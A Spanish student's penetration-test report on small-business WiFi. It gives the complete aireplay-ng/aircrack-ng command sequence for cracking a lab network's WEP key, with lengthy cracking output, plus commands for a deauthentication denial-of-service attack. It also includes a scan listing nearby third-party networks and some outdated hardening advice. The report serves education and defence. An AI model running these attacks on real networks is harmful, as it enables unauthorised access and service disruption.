



Informe de seguridad informática PYMES

Redes Wifi

Luis Ramírez de Diego

INFORME DE SEGURIDAD INFORMÁTICA EN LA PEQUEÑA Y MEDIANA EMPRESA.

Informe de seguridad informática realizado durante el Trabajo Final de Carrera del alumno Luis Ramírez de Diego en el año lectivo 2015/2016 y supervisado por el profesor y tutor del proyecto, Francisco Moya Fernandez

Primera actualización, Junio 2016

Contents

1	Resumen ejecutivo.	4
2	Resumen de Resultados	5
2.1	Fase de descubrimiento.	5
2.2	Configurar tarjeta inalambrica.	5
2.3	Captura de paquetes inalámbricos.	6
3	Defecto de cifrado WLAN.	7
3.1	Encriptacion WEP	7
3.1.1	Ataque a red Wifi con cifrado WEP	8
3.1.2	Denegacion de Servicios (DoS).	11
3.2	Recomendaciones.	12

Chapter 1

Resumen ejecutivo.

Wireless Cloud Security fue contratado para llevar a cabo una prueba de penetración con el fin de determinar su exposición a un ataque dirigido, a una red inalámbrica y así analizar las posibles vulnerabilidades. El objetivo es estudiar las prestaciones, limitaciones y seguridades de las tecnologías de red WIFI de la empresa (PYMEs). Así realizar pruebas para demostrar la vulnerabilidad de acceso a los protocolos de seguridad y proporcionar un diseño y una configuración de red inalámbrica segura. Alguno de los objetivos que se pretende conseguir son:

- Identificar si un atacante podría penetrar las defensas de esta empresa.
- Determinar el impacto de un fallo de seguridad.
- Confidencialidad de los datos privados de la compañía.
- La infraestructura interna y la disponibilidad de los sistemas de información.

Los esfuerzos fueron colocados en la identificación y explotación de las debilidades de seguridad que podría permitir a un atacante obtener acceso no autorizado a datos de la organización. Los ataques se llevaran a cabo con el nivel de acceso mínimo, es decir sin información previa. De esta forma se asemejara a los ataques realizados por parte de una persona externa a la organización y con ello poder señalar las brechas existentes. La evaluación se llevó a cabo de acuerdo con las recomendaciones formuladas en el NIST SP 800 a 115¹ con todas las pruebas y las acciones que se realizan en condiciones controladas

¹<http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf>

Chapter 2

Resumen de Resultados

2.1 Fase de descubrimiento.

Generamos información acerca de las redes que están presentes en la empresa Ficticia para llevar a cabo un test de penetración. Esta fase es muy importante porque definimos los objetivos previos de las pruebas y generamos la información acerca de las posibles vulnerabilidades potenciales. Nuestro objetivo en particular es conseguir la siguiente información:

- Identificar redes ocultas.
- Identificar que tipo de clientes hay conectados a la red.
- Tipos de autenticación utilizadas por las redes. Intentando encontrar las redes abiertas o que utilizan autenticación WEP y otras redes vulnerables.

Para descubrir las redes realizamos un escaneo de la red inalámbrica activa y pasiva. La activa implica enviar paquetes a puntos de acceso visibles y la pasiva capturar y analizar el tráfico de la red inalámbrica permitiendo descubrir los puntos de accesos ocultos.

2.2 Configurar tarjeta inalámbrica.

Para configurar nuestra tarjeta en modo monitor confirmaremos que nuestra tarjeta inalámbrica se ha detectado y que el controlador se ha cargado correctamente.

```
=
wlan0 IEEE 802.11bgn ESSID:off/any
      Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
      Retry short limit:7 RTS thr:off Fragment thr:off
      Encryption key:off
      Power Management:off
```

2.3. CAPTURA DE PAQUETES INALÁMBRICOS RESUMEN DE RESULTADOS

Una vez se ha detectado la interfaz wifi, procedemos a activarlo en modo monitor utilizando la utilidad "airmon-ng" disponible en la distribución Kali Linux. Esta aplicación inicializará la interfaz wifi anteriormente detectada con el fin de poder capturar las redes y paquetes inalámbricos de la zona.

=

```
wlan0mon IEEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
```

Con estos pasos hemos creado con éxito un interfaz en modo monitor llamado wlan0mon. Esta interfaz nos ayudara a rastrear los paquetes inalámbricos de la zona.

2.3 Captura de paquetes inalámbricos.

Para poder escanear las redes y clientes wifi en el alcance de nuestra zona utilizaremos la utilidad "airodump-ng" también disponible en la distribución kali Linux. Con esta exploración hemos identificado las siguientes redes y clientes con los que procederemos a detectar posibles vulnerabilidades.

=

```
BSSID CANAL ENC POWER VEL CLIENTE ESSID
-----
02:53:7C:3B:DF:92 1 WPA2 9 54 No _AUTO_ONOWiFi
DC:53:7C:8C:29:F7 11 WPA2 9 54 No ONOFAE4
F8:8E:85:5A:B6:BA 1 WPA2 10 54 No JAZZTEL_B6BA
30:B5:C2:F4:16:F3 4 WPA2 10 54 No Orange-DC500
50:F5:20:30:69:D9 6 WPA 11 -1 No <length:0>
64:A6:51:04:13:80 4 WPA2 12 54 No vodafone1378
94:4A:0C:3D:4E:D4 8 WPA2 12 54 No vodafone4ED3
EC:43:F6:91:CF:59 6 WPA 13 54 No WLAN_CF58
C8:51:95:8D:42:9C 1 WPA2 14 54 No Orange-429D
50:A7:2B:E7:8F:38 5 WPA2 14 54 No vodafone8F30
4C:09:D4:66:35:DE 4 WPA2 15 54 No Orange-DC500
F4:06:8D:8F:33:79 11 WPA2 16 54 No devolo-f4068d8f3379
44:94:FC:E1:3E:5F 1 WPA2 17 54 No ONO3E5F
D4:7B:B0:40:ED:C1 6 WPA2 17 54 No MOVISTAR_EDC0
44:94:FC:E1:3E:59 1 WPA2 17 54 No _AUTO_ONOWiFi
5C:DC:96:4E:26:C0 6 WPA2 17 54 No Orange-26BE
00:22:F7:23:83:30 6 WPA2 32 54 No C150APM
DC:53:7C:8F:AB:D3 13 WPA2 33 54 Yes Hostal Los Guerreros
DC:53:7C:7B:3A:88 9 WPA2 38 54 No ONO92F3
E0:41:36:40:47:6C 1 WPA2 43 54 Yes MOVISTAR_476C
80:B6:86:D5:F9:4B 11 WEP 47 54 No laboratorio wifi
90:67:1C:79:0E:E0 1 WPA2 52 54 No vodafone0EDA
DC:53:7C:2D:AC:63 7 99 -1 Yes <length:0>
```

Chapter 3

Defecto de cifrado WLAN.

Con las técnicas de identificación me refiero al análisis de dispositivos activos, sus puertos y servicios asociados y analizarlos en busca de vulnerabilidades potenciales. Las empresas o organizaciones suelen utilizar técnicas, no técnicos para identificar los activos que deben ser analizados. En los últimos tiempos, los ataques son dirigidos poco a poco a WPA. A pesar de que no hay ningún ataque disponible al público en la actualidad para romper WPA en todas las condiciones hay ataques que son factibles bajo circunstancias especiales. Las WLAN transmiten datos a través del aire y por lo tanto hay una necesidad inherente a la protección de los datos para que sean confidenciales. Esto se logra mediante los siguientes cifrados.

- Wired Equivalent Privacy (WEP)
- WiFi Protected Access (WPA)
- WiFi Protection Access v2 (WPA2)

3.1 Encriptacion WEP

A continuación procedemos a analizar la red wifi con encriptación WEP siguiente:

- BSSID: 80:B6:86:D5:F9:4B
- ESSID: laboratorio wifi
- CANAL: 11
- INTERFAZ: A8:0C:0D:0B:0C:86

3.1.1 Ataque a red Wifi con cifrado WEP

Para obtener la clave WEP de un punto de acceso, necesitamos muchos vectores de inicialización (IVs). El tráfico de red habitual no genera de forma rápida suficientes IVs. Para ello hemos utilizado la técnica de inyección para aumentar la velocidad del proceso de captura. La inyección implica que se envíen al punto de acceso (AP) paquetes de forma continua y rápida permitiendo capturar un gran número de IV's en un periodo corto de tiempo. Una vez que se han capturado un gran número de IVs, podemos utilizarlos para averiguar la clave WEP.

Para tratar de obtener la clave se ha realizado el ataque estándar utilizando los siguientes pasos:

Hemos colocado nuestra tarjeta en modo monitor y fijado al canal del AP.

airmon-ng start wlan1 11

A continuación se ha utilizado el comando airodump-ng en el canal del AP con filtro de bssid para capturar los IVs.

airodump-ng -c 11 -bssid 80:B6:86:D5:F9:4B -w output wlan1mon

Con el comando aireplay-ng se procede a desautenticar a un cliente asociado con el fin de que vuelva a autenticarse y genera un paquete ARP válido.

aireplay-ng -0 5 -a 80:B6:86:D5:F9:4B -c A8:0C:0D:0B:0C:86 wlan1mon

Con el fin de generar mucho paquetes y conseguir gran cantidad de IVs se lanza una reinyección de paquetes utilizando el siguiente comando:

aireplay-ng -3 -b 80:B6:86:D5:F9:4B -h AC:38:70:25:ED:62 wlan1mon

Finalmente y si hemos conseguido una gran cantidad de IVs intentamos probar conseguir la clave WEP utilizando el comando aircrack-ng.

aircrack-ng -a 1 -s output-01.cap

En este análisis de red se ha conseguido **19922** IVs y **SI** se ha podido obtener la clave.

El detalle de la salida de Aircrack-ng es el siguiente:

3.1. ENCRIPCIÓN WEP CHAPTER 3. DEFECTO DE CIFRADO WLAN.

Opening CAPTURA-01.cap
Reading packets, please wait...
[KRead 69915 packets.

#	BSSID	ESSID	Encryption
1	80:B6:86:D5:F9:4B	laboratorio wifi	WEP (19981 IVs)

Choosing first network as target.

Opening CAPTURA-01.cap
Reading packets, please wait...
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 19981 ivs.
[2J[2;34HAircrack-ng 1.2 rc4

```
[5;18H[00:00:00] Tested 673 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 11/ 14 FB(24064) 2F(23808) 6E(23808) 96(23552) BF(23552)
1 1/ 3 1E(25856) 07(25088) AA(25088) B8(25088) 63(24832)
2 0/ 1 0A(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 2/ 3 11(26112) 48(25600) 76(25088) AA(25088) BE(25088)
4 7/ 8 4A(24832) AF(24576) D2(24576) D9(24320) 31(24064)
```

[J
[2;34HAircrack-ng 1.2 rc4

```
[5;18H[00:00:00] Tested 781 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 7/ 9 E5(24832) 0E(24320) 93(24064) A3(24064) FB(24064)
1 1/ 2 7E(25856) 07(25088) AA(25088) B8(25088) 63(24832)
2 0/ 1 0A(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 3 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 7/ 4 F1(24832) AF(24576) D2(24576) D9(24320) 31(24064)
```

[J
[2;34HAircrack-ng 1.2 rc4

```
[5;18H[00:00:00] Tested 781 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 9 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 1/ 1 8C(25856) 07(25088) AA(25088) B8(25088) 63(24832)
2 0/ 1 96(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 3 0A(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 7/ 4 F1(24832) AF(24576) D2(24576) D9(24320) 31(24064)
```

[J
[2;34HAircrack-ng 1.2 rc4

```
[5;18H[00:00:01] Tested 87361 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 F9(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 1/ 2 04(26880) 4C(26112) 35(25344) FB(25344) A1(25088)
5 6/ 7 A3(24320) 37(24064) C3(24064) F7(24064) 0D(23808)
6 1/ 2 17(25344) BA(25088) 9A(24832) 8A(24576) 3D(24064)
7 1/ 2 F4(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 2/ 3 D8(24832) C3(24576) AB(24064) BF(24064) E9(24064)
9 3/ 4 42(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
10 4/ 5 04(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 5/ 7 C2(24832) 15(24576) 77(24320) DA(24320) 31(24064)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)
```

[2;34HAircrack-ng 1.2 rc4

```
[5;18H[00:00:03] Tested 302401 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 9D(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 10 AB(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 1/ 3 D1(25344) BA(25088) 9A(24832) 8A(24576) 3D(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 2/ 4 D8(24832) C3(24576) AB(24064) BF(24064) E9(24064)
9 3/ 4 42(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
10 4/ 5 04(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 3B(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)
```

[2;34HAircrack-ng 1.2 rc4

```
[5;18H[00:00:05] Tested 504001 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 9D(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 10 AB(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 C3(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 3/ 6 13(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
```

3.1. ENCRIPCIÓN WEP CHAPTER 3. DEFECTO DE CIFRADO WLAN.

```
10 4/ 5 AC(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 3B(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4

[5;18H[00:00:07] Tested 705601 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 9D(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 10 AB(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 C3(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 3/ 7 13(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
10 4/ 6 2E(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 3B(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4

[5;18H[00:00:09] Tested 917281 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 F9(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 10 AB(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 C3(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 6/ 7 E9(24576) 65(24320) 94(24064) 52(23808) 74(23808)
10 4/ 7 2E(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 C0(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4

[5;18H[00:00:11] Tested 1128961 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 9D(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 10 AB(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 C3(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 6/ 7 E9(24576) 65(24320) 94(24064) 52(23808) 74(23808)
10 4/ 9 2E(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 B8(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4

[5;18H[00:00:12] Tested 1270081 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 F9(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 10 AB(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 C3(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 6/ 7 E9(24576) 65(24320) 94(24064) 52(23808) 74(23808)
10 4/ 10 2E(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 AE(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4

[5;18H[00:00:14] Tested 1451521 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 F9(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 5 F7(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 7F(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 3/ 5 13(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
10 4/ 5 AC(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 3B(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)
```

3.1. ENCRIPCIÓN WEP CHAPTER 3. DEFECTO DE CIFRADO WLAN.

```
[2;34HAircrack-ng 1.2 rc4
[5;18H[00:00:14] Tested 1552321 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 9D(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 2/ 3 42(26112) 35(25344) FB(25344) A1(25088) D8(24832)
5 9/ 5 F7(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 2/ 3 23(25088) 9A(24832) 8A(24576) 3D(24064) B1(24064)
7 1/ 2 02(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 3/ 4 07(24576) AB(24064) BF(24064) E9(24064) 7E(23808)
9 3/ 7 13(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
10 4/ 6 2E(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 6/ 7 3B(24576) 77(24320) DA(24320) 31(24064) 76(23808)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4
[5;18H[00:00:15] Tested 1649089 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 1/ 2 B5(25856) 1C(25088) 31(25088) 71(25088) 34(24832)
1 0/ 1 9D(27648) 8C(25856) 07(25088) AA(25088) B8(25088)
2 0/ 1 44(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 1/ 2 74(27648) A7(26112) 48(25600) 76(25088) AA(25088)
4 1/ 3 04(26880) 4C(26112) 35(25344) FB(25344) A1(25088)
5 9/ 5 F7(24064) 0D(23808) 00(23552) 0E(23552) 6C(23552)
6 1/ 2 31(25344) BA(25088) 9A(24832) 8A(24576) 3D(24064)
7 1/ 2 F4(26112) FF(25088) 3C(24832) 00(24320) C2(24320)
8 2/ 3 D8(24832) C3(24576) AB(24064) BF(24064) E9(24064)
9 3/ 4 42(24832) 2E(24576) 6B(24576) AC(24576) 65(24320)
10 4/ 10 DA(24576) 31(24320) 55(24320) 5D(24320) 67(24320)
11 5/ 7 3C(24832) 15(24576) 77(24320) DA(24320) 31(24064)
12 0/ 1 B0(28672) 96(27136) 92(26368) 2B(26112) 37(26112)

[2;34HAircrack-ng 1.2 rc4
[5;18H[00:00:16] Tested 21394 keys (got 19922 IVs) [K[7;4HKB depth byte(vote)
0 3/ 24 31(25088) 71(25088) 34(24832) 7B(24832) E5(24832)
1 5/ 9 32(24832) 1D(24576) 1C(24320) 7E(24320) 0D(24064)
2 0/ 1 33(33280) 5D(27392) 3D(25088) 63(24576) 62(24320)
3 0/ 7 34(28160) 74(27648) 11(26112) B2(25600) E0(25088)
4 12/ 15 29(24064) A6(23808) FF(23808) 97(23552) A2(23552)
[J
[K[21CKEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%
```

3.1.2 Denegación de Servicios (DoS).

Las redes WLAN son propensas a los ataques de denegación de servicio (DoS) usando varias técnicas, incluyendo pero no limitadas a:

- Ataque de de-autenticación
- Ataque de desasociación.
- Ataque CTS-RTS.
- Ataque de interferencia del espectro de la señal.

El objetivo de una Denegación de Servicio a una Red Wi-fi es dejar a los usuarios legítimos de una red Wi-fi sin poder acceder a Internet, esto se logra inundando con paquetes de deautenticación al punto de acceso AP y/o al cliente.

3.2. RECOMENDACIONES.CHAPTER 3. DEFECTO DE CIFRADO WLAN.

Continuamos trabajando con la tarjeta en modo monitor, hemos asignando el canal del punto de acceso AP que estamos analizando.

airmon-ng start wlan1 11

Luego hemos realizado el envío de difusión de de-autenticación de paquetes (broadcast de-authentication packet) hacia el punto de acceso AP intentando desconectar a todos los clientes.

aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B wlan1mon

aireplay-ng -0 0 -a 80:B6:86:D5:F9:4B -c AC:38:70:25:ED:62 wlan1mon

Si hemos conseguido enviar con éxito frames de de-autenticación al punto de acceso y el cliente. Esto se ha traducido en conseguir que se desconecte y una pérdida completa de comunicación entre ellos. También hemos enviado paquetes de difusión de de-autenticación, que asegurará que ningún cliente en las cercanías se pueda conectar correctamente al punto de acceso.

Es importante tener en cuenta que tan pronto como el cliente se desconecta, intentará volver a conectarse de nuevo al punto de acceso y por lo tanto el ataque de de-autenticación tiene que llevarse a cabo de manera sostenida para tener un efecto de ataque de denegación de servicio completo.

3.2 Recomendaciones.

A continuación algunas recomendaciones básicas.

- Se debe tener en cuenta el alcance de nuestra red, ya que cuanto menos señal se propague fuera de las instalaciones menor será las posibilidades de que se acceda desde fuera.
- Por muy simple que parezca, es importante cambiar los datos de accesos al router que vienen por defecto.(No olvidar cambiar la contraseña)
- Ocultar el nombre de la red (SSID), de forma que no se difunda el nombre de la red.
- Se deben usar los protocolos de seguridad, WPA o WPA2. Ya que, el protocolo WEP no nos aporta ningún tipo de seguridad.

3.2. RECOMENDACIONES.CHAPTER 3. DEFECTO DE CIFRADO WLAN.

- Es recomendable que se apague el router o punto de acceso una vez que ya no vaya a utilizarse.
- Hacer listas de control de acceso con las direcciones MAC de aquellos dispositivos que quieras que tengan acceso a la red.
- Utilizar IP estáticas, deshabilitando el DHCP (asignación dinámica IP)
- Realizar auditorias periódicamente ayudará a prevenir ataques, evitando posibles errores.
- Contratar profesionales en la seguridad informática.

Estas medidas no harán que tu red sea invulnerable a cualquier ataque, pues no se puede garantizar en su totalidad pero garantizará unos niveles altos de seguridad.

"Preguntarse cuándo los ordenadores podrán pensar es como preguntarse cuándo los submarinos podrán nadar" – Edsger W. Dijkstra